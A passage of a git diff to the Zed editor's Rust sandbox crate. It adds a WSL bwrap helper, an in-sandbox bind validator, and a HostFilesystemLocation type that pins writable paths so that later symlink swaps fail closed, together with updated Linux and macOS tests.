+        .with_context(|| format!("{what} is not valid UTF-8"))?
+        .parse::<usize>()
+        .with_context(|| format!("invalid {what}"))
+}
+
+/// The WSL-side helper entry point. Mirrors the native-Linux host side: capture
+/// the writable binds' inodes (here, inside WSL), stand up the validation socket,
+/// finish assembling the bwrap invocation (validation socket bind + in-sandbox
+/// validator re-exec), spawn bwrap, and propagate its exit. Never returns.
+#[allow(
+    clippy::disallowed_methods,
+    reason = "the WSL helper is a dedicated per-command process that must spawn and wait for bwrap"
+)]
+fn run_wsl_helper(invocation: WslHelperInvocation) -> ! {
+    // Capture an `O_PATH` fd per writable bind *here*, inside WSL — this is the
+    // capture-at-validation step that on native Linux happens in the Zed process.
+    let mut fds = Vec::with_capacity(invocation.writable_paths.len());
+    for path in &invocation.writable_paths {
+        match open_o_path_fd(path) {
+            Ok(fd) => fds.push(fd),
+            Err(error) => {
+                // Fail closed: a writable bind we can't pin can't be verified.
+                eprintln!(
+                    "zed: WSL sandbox helper could not open writable bind {}: {error}",
+                    path.display()
+                );
+                std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+            }
+        }
+    }
+
+    let validation = if fds.is_empty() {
+        None
+    } else {
+        match ValidationFdSender::spawn(fds) {
+            Ok(sender) => Some(sender),
+            Err(error) => {
+                eprintln!("zed: WSL sandbox helper could not start the bind validator: {error}");
+                std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+            }
+        }
+    };
+
+    let current_exe = match std::env::current_exe() {
+        Ok(path) => path,
+        Err(error) => {
+            eprintln!("zed: WSL sandbox helper could not resolve its own path: {error}");
+            std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+        }
+    };
+
+    let mut args = invocation.base_args.clone();
+    if let Some(sender) = &validation {
+        // Bind the validation socket in (after the base args' tmpfs and writable
+        // binds so it isn't shadowed), then re-exec ourselves inside the sandbox
+        // as the validator before the real command. WSL has no restricted-network
+        // bridge, so both bridge fields are the absent sentinel.
+        args.push(OsString::from("--bind"));
+        args.push(sender.host_socket_path().as_os_str().to_os_string());
+        args.push(sender.sandbox_socket_path().as_os_str().to_os_string());
+        args.push(OsString::from("--"));
+        args.push(current_exe.into_os_string());
+        args.push(OsString::from(LAUNCHER_FLAG));
+        args.push(sender.sandbox_socket_path().as_os_str().to_os_string());
+        args.push(OsString::from(LAUNCHER_NONE));
+        args.push(OsString::from(LAUNCHER_NONE));
+        args.push(OsString::from(invocation.writable_paths.len().to_string()));
+        for path in &invocation.writable_paths {
+            args.push(path.clone().into_os_string());
+        }
+        args.push(OsString::from("--"));
+    } else {
+        // Nothing to validate — run the command directly under bwrap.
+        args.push(OsString::from("--"));
+    }
+    args.push(invocation.program.clone());
+    args.extend(invocation.args.iter().cloned());
+
+    let mut child = match Command::new(&invocation.bwrap_path).args(&args).spawn() {
+        Ok(child) => child,
+        Err(error) => {
+            eprintln!("zed: WSL sandbox helper could not spawn bwrap: {error}");
+            std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+        }
+    };
+
+    let status = child.wait();
+    // Hold the validator open until bwrap (and thus the in-sandbox validator that
+    // connects to it during startup) has finished.
+    drop(validation);
+    match status {
+        Ok(status) => {
+            if let Some(code) = status.code() {
+                std::process::exit(code);
+            }
+            let signal = status.signal().unwrap_or(1);
+            std::process::exit(128 + signal);
+        }
+        Err(error) => {
+            eprintln!("zed: WSL sandbox helper failed waiting for bwrap: {error}");
+            std::process::exit(SANDBOX_SETUP_FAILED_EXIT_CODE);
+        }
+    }
+}
+
 fn run_bridge_listener(listener: TcpListener, socket_path: PathBuf) {
     for stream in listener.incoming() {
         match stream {
@@ -630,8 +1294,8 @@ fn copy_one_way(mut from: impl Read, mut to: impl BridgeStream) {
 mod tests {
     use super::*;
 
-    fn bridge_argv(launcher: &str, args: Vec<&str>) -> Vec<OsString> {
-        std::iter::once(launcher)
+    fn launcher_argv(program: &str, args: Vec<&str>) -> Vec<OsString> {
+        std::iter::once(program)
             .chain(args)
             .map(OsString::from)
             .collect()
@@ -678,8 +1342,9 @@ mod tests {
         );
 
         assert!(windows_contains(&args, &["--ro-bind", "/", "/"]));
-        let writable_path = writable.path().canonicalize().unwrap();
-        let writable_str = writable_path.to_string_lossy().into_owned();
+        // The writable dir is bound verbatim at the exact path given (never
+        // re-canonicalized, which would reopen the bind-source TOCTOU gap).
+        let writable_str = writable.path().to_string_lossy().into_owned();
         assert!(windows_contains(
             &args,
             &["--bind", &writable_str, &writable_str]
@@ -736,14 +1401,19 @@ mod tests {
     }
 
     #[test]
-    fn test_bridge_args_round_trip() {
-        let sandbox_socket_path = "/tmp/zed-sandbox-1234-0.sock";
-        let argv = bridge_argv(
+    fn test_launcher_args_round_trip_bridge_and_validation() {
+        let bridge_socket = "/tmp/zed-sandbox-1234-0.sock";
+        let validate_socket = "/tmp/zed-sandbox-validate-1234-0.sock";
+        let argv = launcher_argv(
             "/path/to/zed",
             vec![
-                BRIDGE_FLAG,
-                sandbox_socket_path,
+                LAUNCHER_FLAG,
+                validate_socket,
+                bridge_socket,
                 "8080",
+                "2",
+                "/work/a",
+                "/work/b",
                 "--",
                 "/bin/sh",
                 "-c",
@@ -751,12 +1421,22 @@ mod tests {
             ],
         );
 
-        let decoded = parse_bridge_args(argv)
-            .expect("should be recognized as bridge invocation")
+        let decoded = parse_launcher_args(argv)
+            .expect("should be recognized as launcher invocation")
             .expect("should decode successfully");
 
-        assert_eq!(decoded.socket_path, PathBuf::from(sandbox_socket_path));
-        assert_eq!(decoded.port, 8080);
+        assert_eq!(
+            decoded.validation_socket,
+            Some(PathBuf::from(validate_socket))
+        );
+        assert_eq!(
+            decoded.validation_paths,
+            vec![PathBuf::from("/work/a"), PathBuf::from("/work/b")]
+        );
+        assert_eq!(
+            decoded.bridge,
+            Some((PathBuf::from(bridge_socket), 8080u16))
+        );
         assert_eq!(decoded.program, OsString::from("/bin/sh"));
         assert_eq!(
             decoded.args,
@@ -764,6 +1444,80 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_wsl_helper_args_round_trip() {
+        let argv = launcher_argv(
+            "/path/to/zed",
+            vec![
+                WSL_HELPER_FLAG,
+                "/usr/bin/bwrap",
+                // base bwrap options (3 tokens)
+                "3",
+                "--ro-bind",
+                "/",
+                "/",
+                // writable binds to validate (1)
+                "1",
+                "/work/a",
+                "--",
+                "/bin/sh",
+                "-c",
+                "echo hi",
+            ],
+        );
+
+        let decoded = parse_wsl_helper_args(argv)
+            .expect("should be recognized as a WSL helper invocation")
+            .expect("should decode successfully");
+
+        assert_eq!(decoded.bwrap_path, PathBuf::from("/usr/bin/bwrap"));
+        assert_eq!(
+            decoded.base_args,
+            vec![
+                OsString::from("--ro-bind"),
+                OsString::from("/"),
+                OsString::from("/")
+            ]
+        );
+        assert_eq!(decoded.writable_paths, vec![PathBuf::from("/work/a")]);
+        assert_eq!(decoded.program, OsString::from("/bin/sh"));
+        assert_eq!(
+            decoded.args,
+            vec![OsString::from("-c"), OsString::from("echo hi")]
+        );
+    }
+
+    #[test]
+    fn test_launcher_args_round_trip_no_bridge() {
+        let validate_socket = "/tmp/zed-sandbox-validate-1234-0.sock";
+        let argv = launcher_argv(
+            "/path/to/zed",
+            vec![
+                LAUNCHER_FLAG,
+                validate_socket,
+                LAUNCHER_NONE,
+                LAUNCHER_NONE,
+                "1",
+                "/work/a",
+                "--",
+                "/bin/true",
+            ],
+        );
+
+        let decoded = parse_launcher_args(argv)
+            .expect("should be recognized as launcher invocation")
+            .expect("should decode successfully");
+
+        assert_eq!(
+            decoded.validation_socket,
+            Some(PathBuf::from(validate_socket))
+        );
+        assert_eq!(decoded.validation_paths, vec![PathBuf::from("/work/a")]);
+        assert_eq!(decoded.bridge, None);
+        assert_eq!(decoded.program, OsString::from("/bin/true"));
+        assert!(decoded.args.is_empty());
+    }
+
     #[test]
     fn test_wrap_invocation_uses_bridge_for_restricted_network() {
         let socket = PathBuf::from("/tmp/zed-proxy.sock");
@@ -780,7 +1534,8 @@ mod tests {
         );
 
         // The bind destination inside the sandbox and the path handed to the
-        // bridge must be the same unique path.
+        // launcher's bridge fields must be the same unique path. With no writable
+        // binds, the validation field is the `-` sentinel and the path count is 0.
         let sandbox_destination = proxy_socket_bind_destination(&args)
             .expect("restricted run should bind the proxy socket into the sandbox");
         assert!(sandbox_destination.starts_with(PROXY_SOCKET_SANDBOX_PATH_PREFIX));
@@ -788,14 +1543,19 @@ mod tests {
             &args,
             &[
                 "/path/to/zed",
-                BRIDGE_FLAG,
+                LAUNCHER_FLAG,
+                LAUNCHER_NONE,
                 &sandbox_destination,
                 "8080",
-                "--"
+                "0",
+                "--",
             ]
         ));
     }
 
+    /// Reconstruct the argv `wrap_invocation` would produce for the bridge-only
+    /// (no writable binds, no validation socket) case, without needing a real
+    /// `bwrap` on the test host.
     fn build_wrapped_args_for_test(
         bridge_program: &str,
         permissions: SandboxPermissions,
@@ -807,22 +1567,26 @@ mod tests {
             NetworkAccess::LocalhostPort(_) => Some(unique_proxy_socket_sandbox_path()),
             NetworkAccess::None | NetworkAccess::All => None,
         };
-        let mut bwrap_args = build_bwrap_args_with_proxy_socket_sandbox_path(
+        let mut bwrap_args = build_bwrap_args_with_sandbox_paths(
             &[],
             &[],
             permissions,
             None,
             proxy_socket_path,
             proxy_socket_sandbox_path.as_deref(),
+            None,
+            None,
         );
         bwrap_args.push("--".to_string());
         if let NetworkAccess::LocalhostPort(port) = permissions.network {
             let proxy_socket_sandbox_path =
                 proxy_socket_sandbox_path.expect("restricted network needs a sandbox socket path");
             bwrap_args.push(bridge_program.to_string());
-            bwrap_args.push(BRIDGE_FLAG.to_string());
+            bwrap_args.push(LAUNCHER_FLAG.to_string());
+            bwrap_args.push(LAUNCHER_NONE.to_string());
             bwrap_args.push(proxy_socket_sandbox_path.to_string_lossy().into_owned());
             bwrap_args.push(port.to_string());
+            bwrap_args.push("0".to_string());
             bwrap_args.push("--".to_string());
         }
         bwrap_args.push(program.to_string());
@@ -846,4 +1610,61 @@ mod tests {
             .windows(needle.len())
             .any(|window| window.iter().map(String::as_str).eq(needle.iter().copied()))
     }
+
+    /// Open an `O_PATH` descriptor to `path`, mirroring how the policy layer
+    /// captures a `HostFilesystemLocation`.
+    fn open_o_path(path: &Path) -> OwnedFd {
+        use std::os::unix::fs::OpenOptionsExt as _;
+        let file = std::fs::OpenOptions::new()
+            .read(true)
+            .custom_flags(libc::O_PATH | libc::O_CLOEXEC)
+            .open(path)
+            .expect("open O_PATH");
+        OwnedFd::from(file)
+    }
+
+    // End-to-end check of the bind validator's core, without a real sandbox:
+    // the server hands over the captured fd via SCM_RIGHTS and `validate_binds`
+    // compares it against the path it's told was mounted. A matching path passes;
+    // a *different* directory (as a redirected bind would produce) is rejected,
+    // proving the validator fails closed rather than no-ops.
+    //
+    // Each `ValidationFdSender` serves a single client and then tears down, so
+    // the two cases use separate senders.
+    #[test]
+    fn test_validate_binds_accepts_match_and_rejects_redirect() {
+        let captured = tempfile::tempdir().unwrap();
+        let other = tempfile::tempdir().unwrap();
+
+        // The mounted path is the captured inode -> validation passes.
+        let sender = ValidationFdSender::spawn(vec![open_o_path(captured.path())])
+            .expect("spawn validation fd sender");
+        validate_binds(sender.host_socket_path(), &[captured.path().to_path_buf()])
+            .expect("matching bind must validate");
+        drop(sender);
+
+        // The mounted path is a *different* inode (a redirected bind) -> rejected.
+        let sender = ValidationFdSender::spawn(vec![open_o_path(captured.path())])
+            .expect("spawn validation fd sender");
+        let error = validate_binds(sender.host_socket_path(), &[other.path().to_path_buf()])
+            .expect_err("a redirected bind must be rejected");
+        assert!(
+            error.to_string().contains("redirected"),
+            "unexpected error: {error:#}"
+        );
+    }
+
+    // A wrong fd count from the server (here: zero fds for one path) must fail
+    // closed too — the validator never assumes an unvalidated bind is fine.
+    #[test]
+    fn test_validate_binds_rejects_missing_descriptors() {
+        let captured = tempfile::tempdir().unwrap();
+        let sender = ValidationFdSender::spawn(Vec::new()).expect("spawn validation fd sender");
+        let error = validate_binds(sender.host_socket_path(), &[captured.path().to_path_buf()])
+            .expect_err("missing descriptors must be rejected");
+        assert!(
+            error.to_string().contains("descriptor"),
+            "unexpected error: {error:#}"
+        );
+    }
 }
diff --git a/crates/sandbox/src/macos_seatbelt.rs b/crates/sandbox/src/macos_seatbelt.rs
index ec4605f19810d2..91efe4467fe995 100644
--- a/crates/sandbox/src/macos_seatbelt.rs
+++ b/crates/sandbox/src/macos_seatbelt.rs
@@ -209,21 +209,19 @@ fn generate_seatbelt_config(
     allowed_unix_socket_paths: &[&Path],
     permissions: SandboxPermissions,
 ) -> Result<String> {
-    // Canonicalize each writable path to resolve symlinks (e.g.,
-    // /var -> /private/var on macOS). Fall back to the original path if
-    // canonicalization fails.
+    // These paths are already the canonical identities captured once, at
+    // validation time, inside each `HostFilesystemLocation` (resolving symlinks
+    // and, for a not-yet-created `.git`, its existing parent). We deliberately do
+    // NOT re-canonicalize here: re-resolving a path at profile-generation time
+    // is the time-of-check-to-time-of-use hole this design closes. Use them
+    // verbatim as Seatbelt rule literals.
     let canonical_writable_directories: Vec<PathBuf> = writable_directories
         .iter()
-        .map(|path| path.canonicalize().unwrap_or_else(|_| path.to_path_buf()))
+        .map(|path| path.to_path_buf())
         .collect();
-    // Use `canonicalize_allowing_missing_leaf` rather than a plain
-    // `canonicalize` so a not-yet-created `.git` (before `git init`) still
-    // resolves through its existing parent and matches the canonicalized
-    // writable worktree above; otherwise the deny rule would miss the real path
-    // on a symlinked root (`/tmp` -> `/private/tmp`).
     let canonical_protected_paths: Vec<PathBuf> = protected_paths
         .iter()
-        .map(|path| crate::canonicalize_allowing_missing_leaf(path))
+        .map(|path| path.to_path_buf())
         .collect();
     // Unlike file paths, Unix socket literals are emitted verbatim: it isn't
     // guaranteed whether Seatbelt resolves symlinks before matching a
@@ -564,7 +562,11 @@ mod tests {
         use std::process::Command;
 
         let temp_dir = tempfile::tempdir().unwrap();
-        let protected_file = temp_dir.path().join(".gitignore");
+        // Canonicalize so the policy paths resolve the macOS `/var` -> `/private/var`
+        // symlink; Seatbelt matches rules against the resolved path, as production
+        // does via `HostFilesystemLocation`.
+        let dir = std::fs::canonicalize(temp_dir.path()).unwrap();
+        let protected_file = dir.join(".gitignore");
         std::fs::write(&protected_file, "target\n").unwrap();
 
         let (program, args, _config_file) = wrap_invocation(
@@ -578,7 +580,7 @@ mod tests {
                     protected_file.display(),
                 ),
             ],
-            &[temp_dir.path()],
+            &[dir.as_path()],
             &[protected_file.as_path()],
             &[],
             SandboxPermissions::default(),
@@ -607,7 +609,10 @@ mod tests {
         use std::process::Command;
 
         let temp_dir = tempfile::tempdir().unwrap();
-        let protected_file = temp_dir.path().join(".gitignore");
+        // See the sibling protected-path test: canonicalize so policy paths resolve
+        // the macOS `/var` -> `/private/var` symlink that Seatbelt matches against.
+        let dir = std::fs::canonicalize(temp_dir.path()).unwrap();
+        let protected_file = dir.join(".gitignore");
         std::fs::write(&protected_file, "target\n").unwrap();
 
         let (program, args, _config_file) = wrap_invocation(
@@ -620,7 +625,7 @@ mod tests {
                     protected_file.display(),
                 ),
             ],
-            &[temp_dir.path()],
+            &[dir.as_path()],
             &[protected_file.as_path()],
             &[],
             SandboxPermissions {
@@ -870,7 +875,11 @@ mod tests {
 
         let project_dir = tempfile::tempdir().unwrap();
         let scratch_dir = tempfile::tempdir().unwrap();
-        let test_file = scratch_dir.path().join("test_write.txt");
+        // Canonicalize so the writable subpaths resolve the macOS `/var` ->
+        // `/private/var` symlink that Seatbelt matches against.
+        let project_path = std::fs::canonicalize(project_dir.path()).unwrap();
+        let scratch_path = std::fs::canonicalize(scratch_dir.path()).unwrap();
+        let test_file = scratch_path.join("test_write.txt");
 
         let (program, args, _config_file) = wrap_invocation(
             "/bin/sh",
@@ -878,7 +887,7 @@ mod tests {
                 "-c".to_string(),
                 format!("echo 'hello' > '{}'", test_file.display()),
             ],
-            &[project_dir.path(), scratch_dir.path()],
+            &[project_path.as_path(), scratch_path.as_path()],
             &[],
             &[],
             SandboxPermissions::default(),
@@ -903,7 +912,10 @@ mod tests {
         use std::process::Command;
 
         let temp_dir = tempfile::tempdir().unwrap();
-        let test_file = temp_dir.path().join("test_write.txt");
+        // Canonicalize so the writable subpath resolves the macOS `/var` ->
+        // `/private/var` symlink that Seatbelt matches against.
+        let dir = std::fs::canonicalize(temp_dir.path()).unwrap();
+        let test_file = dir.join("test_write.txt");
 
         let (program, args, _config_file) = wrap_invocation(
             "/bin/sh",
@@ -911,7 +923,7 @@ mod tests {
                 "-c".to_string(),
                 format!("echo 'hello' > '{}'", test_file.display()),
             ],
-            &[temp_dir.path()],
+            &[dir.as_path()],
             &[],
             &[],
             SandboxPermissions::default(),
diff --git a/crates/sandbox/src/sandbox.rs b/crates/sandbox/src/sandbox.rs
index 390fd4ed55296b..4873c46ed514b9 100644
--- a/crates/sandbox/src/sandbox.rs
+++ b/crates/sandbox/src/sandbox.rs
@@ -29,6 +29,249 @@ mod windows_wsl;
 #[cfg(target_os = "windows")]
 pub(crate) const WSL_SANDBOX_UNAVAILABLE_PREFIX: &str = "Windows sandboxing via WSL is unavailable";
 
+/// An opaque handle to a location on the **host** filesystem the sandbox may
+/// grant access to (a writable subtree, a `.git` directory, …).
+///
+/// The entire purpose of this type is to capture the *security-relevant identity*
+/// of a host location once, up front, in a form the enforcement layer can use
+/// without re-resolving a path string later. Re-resolving a path at enforcement
+/// time is the classic time-of-check-to-time-of-use hole: a path that was
+/// verified as safe can be swapped for a symlink before the sandbox actually
+/// binds/allows it, redirecting the grant to an arbitrary host location.
+///
+/// What is captured is platform-specific:
+/// - **macOS**: the fully-canonicalized path, used verbatim as the Seatbelt rule
+///   literal. Seatbelt matches the *resolved* access path against this literal,
+///   so a post-capture swap of a path component fails closed (denied) rather
+///   than redirecting the grant.
+/// - **Linux**: an `O_PATH` file descriptor pinned to the target inode. bwrap is
+///   launched by a PTY that can't inherit extra fds, so we can't use bwrap's own
+///   `--bind-fd`; instead the bind uses an ordinary `--bind <path>` and an
+///   in-sandbox validator compares `fstat` of this descriptor against `lstat` of
+///   the mounted path after the mounts, failing closed on a post-capture swap
+///   (see `linux_bubblewrap::validate_binds` and `README.md`).
+/// - **Windows**: nothing — a Windows process holds no Linux fds, so the real
+///   capture-at-validation happens inside WSL (in the `--wsl-sandbox-helper`),
+///   and the value here carries only the requested path as untrusted intent.
+///
+/// The type is deliberately **opaque**: it does not `Deref`, and it never hands
+/// back its trusted value. The only thing readable is a *display-only* path via
+/// [`HostFilesystemLocation::untrusted_path_display`], suitable for showing a
+/// human but which must never be passed back into a sandbox API as the
+/// location's identity. Equality reflects the actual filesystem object (same
+/// inode), not the textual path.
+#[derive(Clone)]
+pub struct HostFilesystemLocation {
+    /// macOS: the canonicalized path, resolved exactly once at capture time and
+    /// used directly as the Seatbelt rule literal.
+    #[cfg(target_os = "macos")]
+    canonical_path: PathBuf,
+    /// Linux: an `O_PATH` descriptor pinned to the captured inode. Wrapped in an
+    /// `Arc` only so the surrounding policy types can stay `Clone`; cloning
+    /// shares the same underlying descriptor.
+    #[cfg(target_os = "linux")]
+    fd: std::sync::Arc<std::os::fd::OwnedFd>,
+    /// The path exactly as the caller requested it. Kept **only** so the UI can
+    /// show the user which location is being granted. This is never consulted by
+    /// any enforcement path — treat it as untrusted, attacker-influenced text.
+    untrusted_path_for_display: PathBuf,
+}
+
+impl HostFilesystemLocation {
+    /// Capture `path` as a host sandbox location, resolving its identity up front.
+    ///
+    /// On macOS this canonicalizes the path; on Linux it opens an `O_PATH`
+    /// descriptor to it; on Windows it records nothing. The caller is
+    /// responsible for having already *validated* `path` (e.g. confirmed it is
+    /// inside the project, or that a `.git` is not a symlink) — capturing it here
+    /// pins that decision against later tampering. To be race-free, capture
+    /// should happen as part of, or immediately after, that validation, and the
+    /// resulting value should be passed around unchanged from then on (never
+    /// re-derived from a path).
+    pub fn new(path: impl AsRef<Path>) -> std::io::Result<Self> {
+        let path = path.as_ref();
+        let untrusted_path_for_display = path.to_path_buf();
+
+        #[cfg(target_os = "macos")]
+        {
+            // `canonicalize_allowing_missing_leaf` resolves through the existing
+            // parent so a not-yet-created leaf (e.g. a `.git` before `git init`)
+            // still yields the real path Seatbelt will match against.
+            let canonical_path = canonicalize_allowing_missing_leaf(path);
+            Ok(Self {
+                canonical_path,
+                untrusted_path_for_display,
+            })
+        }
+        #[cfg(target_os = "linux")]
+        {
+            use std::os::unix::fs::OpenOptionsExt as _;
+            // `O_PATH` opens a handle that refers to the inode without granting
+            // read/write on its contents, which is exactly what a bind source
+            // needs. `O_CLOEXEC` keeps the descriptor from leaking into
+            // unrelated children; the bind step re-publishes it deliberately
+            // when launching bwrap.
+            let file = std::fs::OpenOptions::new()
+                .read(true)
+                .custom_flags(libc::O_PATH | libc::O_CLOEXEC)
+                .open(path)?;
+            Ok(Self {
+                fd: std::sync::Arc::new(std::os::fd::OwnedFd::from(file)),
+                untrusted_path_for_display,
+            })
+        }
+        #[cfg(not(any(target_os = "macos", target_os = "linux")))]
+        {
+            Ok(Self {
+                untrusted_path_for_display,
+            })
+        }
+    }
+
+    /// The requested path, for **display only** (e.g. the permission-request UI).
+    ///
+    /// This intentionally returns the untrusted, as-requested path — never the
+    /// captured trusted identity. Do not feed the result back into any sandbox
+    /// API as if it identified this location.
+    pub fn untrusted_path_display(&self) -> std::path::Display<'_> {
+        self.untrusted_path_for_display.display()
+    }
+
+    /// macOS: the canonical path captured once at construction, used verbatim as
+    /// the Seatbelt rule literal. Trusted — never re-resolved. Falls back to the
+    /// requested path for a display-only location (which must never reach
+    /// enforcement).
+    #[cfg(target_os = "macos")]
+    pub(crate) fn macos_canonical_path(&self) -> &Path {
+        &self.canonical_path
+    }
+
+    /// Linux: a borrowed handle to the pinned inode, for deriving a bind source
+    /// path and for `fstat`-based identity checks.
+    #[cfg(target_os = "linux")]
+    pub(crate) fn linux_fd(&self) -> std::os::fd::BorrowedFd<'_> {
+        use std::os::fd::AsFd as _;
+        self.fd.as_fd()
+    }
+
+    /// Linux: an independent `O_PATH` descriptor to the same pinned inode,
+    /// duplicated (with `O_CLOEXEC`) so the validation server can own and send it
+    /// over `SCM_RIGHTS` without affecting this location's descriptor.
+    #[cfg(target_os = "linux")]
+    pub(crate) fn linux_dup_fd(&self) -> std::io::Result<std::os::fd::OwnedFd> {
+        use std::os::fd::AsFd as _;
+        self.fd.as_fd().try_clone_to_owned()
+    }
+
+    /// Windows: the requested path, to be mapped into WSL and handed to the
+    /// in-WSL helper. Windows captures no identity itself (it holds no Linux
+    /// fds); the real capture-at-validation happens WSL-side in the helper, so
+    /// here the requested path *is* the location.
+    #[cfg(target_os = "windows")]
+    pub(crate) fn windows_path(&self) -> &Path {
+        &self.untrusted_path_for_display
+    }
+}
+
+impl fmt::Debug for HostFilesystemLocation {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        // Only the display path is shown; the trusted identity stays opaque.
+        formatter
+            .debug_struct("HostFilesystemLocation")
+            .field(
+                "untrusted_path_for_display",
+                &self.untrusted_path_for_display,
+            )
+            .finish_non_exhaustive()
+    }
+}
+
+impl PartialEq for HostFilesystemLocation {
+    /// Two locations are equal when they refer to the **same filesystem object**,
+    /// determined from the captured identity (the inode behind the `O_PATH` fd on
+    /// Linux, the canonical path on macOS) — never from the textual
+    /// display path. This is what lets policy bookkeeping dedupe "the same
+    /// location named two different ways," and refuse to treat "two different
+    /// objects that happen to share a path string" as one.
+    fn eq(&self, other: &Self) -> bool {
+        #[cfg(target_os = "linux")]
+        {
+            match (linux_fd_identity(&self.fd), linux_fd_identity(&other.fd)) {
+                (Some(a), Some(b)) => a == b,
+                // An `fstat` on an `O_PATH` fd we own should never fail; if it
+                // somehow does we can't prove identity, so report "not equal"
+                // (the safe answer) and leave a trace.
+                _ => {
+                    log::error!(
+                        "failed to fstat an O_PATH descriptor while comparing sandbox locations"
+                    );
+                    false
+                }
+            }
+        }
+        #[cfg(target_os = "macos")]
+        {
+            // Canonicalization is a bijection on real paths, so equal canonical
+            // paths mean the same directory/file.
+            self.canonical_path == other.canonical_path
+        }
+        #[cfg(not(any(target_os = "linux", target_os = "macos")))]
+        {
+            // No enforcement and no captured identity on these platforms; fall
+            // back to the requested path purely so the type can still be used in
+            // collections.
+            self.untrusted_path_for_display == other.untrusted_path_for_display
+        }
+    }
+}
+
+impl Eq for HostFilesystemLocation {}
+
+/// The `(device, inode)` pair behind an `O_PATH` descriptor, used to decide
+/// whether two [`HostFilesystemLocation`]s refer to the same filesystem object.
+#[cfg(target_os = "linux")]
+fn linux_fd_identity(fd: &std::os::fd::OwnedFd) -> Option<(u64, u64)> {
+    use std::os::fd::AsRawFd as _;
+    let stat = nix::sys::stat::fstat(fd.as_raw_fd()).ok()?;
+    Some((stat.st_dev as u64, stat.st_ino as u64))
+}
+
+/// A path *inside the sandbox* — i.e. where a host location is exposed in the
+/// sandboxed process's view of the filesystem (for example, a bind-mount
+/// destination on Linux).
+///
+/// Unlike [`HostFilesystemLocation`], this needs no hardening and is just a thin
+/// wrapper around a [`PathBuf`]. It only names a location within the sandbox's
+/// own namespace: the worst a tampered sandbox-side path can do is expose the
+/// (already-granted) host files at a *different* path inside the sandbox — it can
+/// never widen which host files are reachable. It is therefore fine to build one
+/// from an ordinary, even attacker-influenced, path.
+#[derive(Clone, Debug, Eq, PartialEq, Hash)]
+pub struct SandboxFilesystemLocation(PathBuf);
+
+impl SandboxFilesystemLocation {
+    /// Name a location inside the sandbox's filesystem view.
+    pub fn new(path: impl Into<PathBuf>) -> Self {
+        Self(path.into())
+    }
+
+    /// The in-sandbox path. Safe to read: this is not a trusted host identity.
+    pub fn as_path(&self) -> &Path {
+        &self.0
+    }
+
+    /// Consume this wrapper, yielding the underlying in-sandbox path.
+    pub fn into_path_buf(self) -> PathBuf {
+        self.0
+    }
+}
+
+impl From<PathBuf> for SandboxFilesystemLocation {
+    fn from(path: PathBuf) -> Self {
+        Self(path)
+    }
+}
+
 /// What a command is allowed to do, expressed as intent. This is the entire
 /// public configuration surface; how each policy is enforced (Seatbelt rules,
 /// Bubblewrap flags, a loopback proxy, …) is an implementation detail.
@@ -44,9 +287,13 @@ pub struct SandboxPolicy {
 pub enum SandboxFsPolicy {
     /// Allow unrestricted filesystem writes.
     Unrestricted,
-    /// Reads are allowed everywhere; writes are confined to these directory
-    /// subtrees (and the standard ephemeral locations the platform provides).
-    Restricted { writable_paths: Vec<PathBuf> },
+    /// Reads are allowed everywhere; writes are confined to these locations
+    /// (and the standard ephemeral locations the platform provides). Each is a
+    /// [`HostFilesystemLocation`] captured at validation time, never a bare path
+    /// the enforcement layer would re-resolve.
+    Restricted {
+        writable_paths: Vec<HostFilesystemLocation>,
+    },
 }
 
 /// Outbound-network policy for a sandboxed command.
@@ -72,9 +319,13 @@ pub enum GitSandboxPolicy {
     /// `.git` contents are protected: read-only on Linux and Windows/WSL;
     /// content reads and writes denied on macOS (metadata stays visible either
     /// way).
-    Denied { git_dirs: Vec<PathBuf> },
+    Denied {
+        git_dirs: Vec<HostFilesystemLocation>,
+    },
     /// `.git` contents are writable (these dirs are made writable).
-    Allowed { git_dirs: Vec<PathBuf> },
+    Allowed {
+        git_dirs: Vec<HostFilesystemLocation>,
+    },
 }
 
 impl Default for GitSandboxPolicy {
@@ -88,7 +339,7 @@ impl Default for GitSandboxPolicy {
 
 impl GitSandboxPolicy {
     /// The `.git` directories this policy governs, regardless of variant.
-    pub fn git_dirs(&self) -> &[PathBuf] {
+    pub fn git_dirs(&self) -> &[HostFilesystemLocation] {
         match self {
             GitSandboxPolicy::Denied { git_dirs } | GitSandboxPolicy::Allowed { git_dirs } => {
                 git_dirs
@@ -285,7 +536,7 @@ impl std::error::Error for SandboxError {}
 /// Resolved filesystem setup derived from [`SandboxFsPolicy`].
 struct FsSetup {
     allow_fs_write: bool,
-    writable_paths: Vec<PathBuf>,
+    writable_paths: Vec<HostFilesystemLocation>,
 }
 
 /// Resolved network plan derived from [`SandboxNetPolicy`]. For the restricted
@@ -317,6 +568,23 @@ pub struct Sandbox {
     /// In-process network proxy for the restricted-network case, spawned on the
     /// first `wrap`. Dropped on a background thread (the join blocks).
     proxy: Option<ProxyHandle>,
+    /// Linux only: the host endpoint that hands the in-sandbox validator the
+    /// captured `O_PATH` fds over a unix socket. Runs entirely in-process (a
+    /// short-lived background thread, never a separate process) and is owned by
+    /// this `Sandbox` — which is created per command — so it comes up when the
+    /// command is wrapped and is torn down (thread stopped, socket removed) when
+    /// the command finishes. Holds the fds, keeping their inodes pinned until
+    /// then. Created lazily on the wrap that first needs it (a restricted-fs run
+    /// with writable binds); a `Sandbox` normally wraps a single command.
+    #[cfg(target_os = "linux")]
+    validation_fd_sender: Option<linux_bubblewrap::ValidationFdSender>,
+    /// Windows only: `(release channel, version)` of the Linux `zed` to
+    /// provision inside WSL as the `--wsl-sandbox-helper` (version `latest` for
+    /// dev builds). Set by the caller (which has the running release info);
+    /// `None` falls back to exec'ing bwrap directly without in-sandbox bind
+    /// validation.
+    #[cfg(target_os = "windows")]
+    wsl_zed_release: Option<(String, String)>,
     #[cfg(target_os = "macos")]
     seatbelt_config: Option<macos_seatbelt::SeatbeltConfigFile>,
 }
@@ -353,29 +621,48 @@ impl Sandbox {
             network,
             git: policy.git,
             proxy: None,
+            #[cfg(target_os = "linux")]
+            validation_fd_sender: None,
+            #[cfg(target_os = "windows")]
+            wsl_zed_release: None,
             #[cfg(target_os = "macos")]
             seatbelt_config: None,
         })
     }
 
-    /// Check whether the platform sandbox can be created for `policy` without
+    /// Windows only: record the `(release channel, version)` of the Linux `zed`
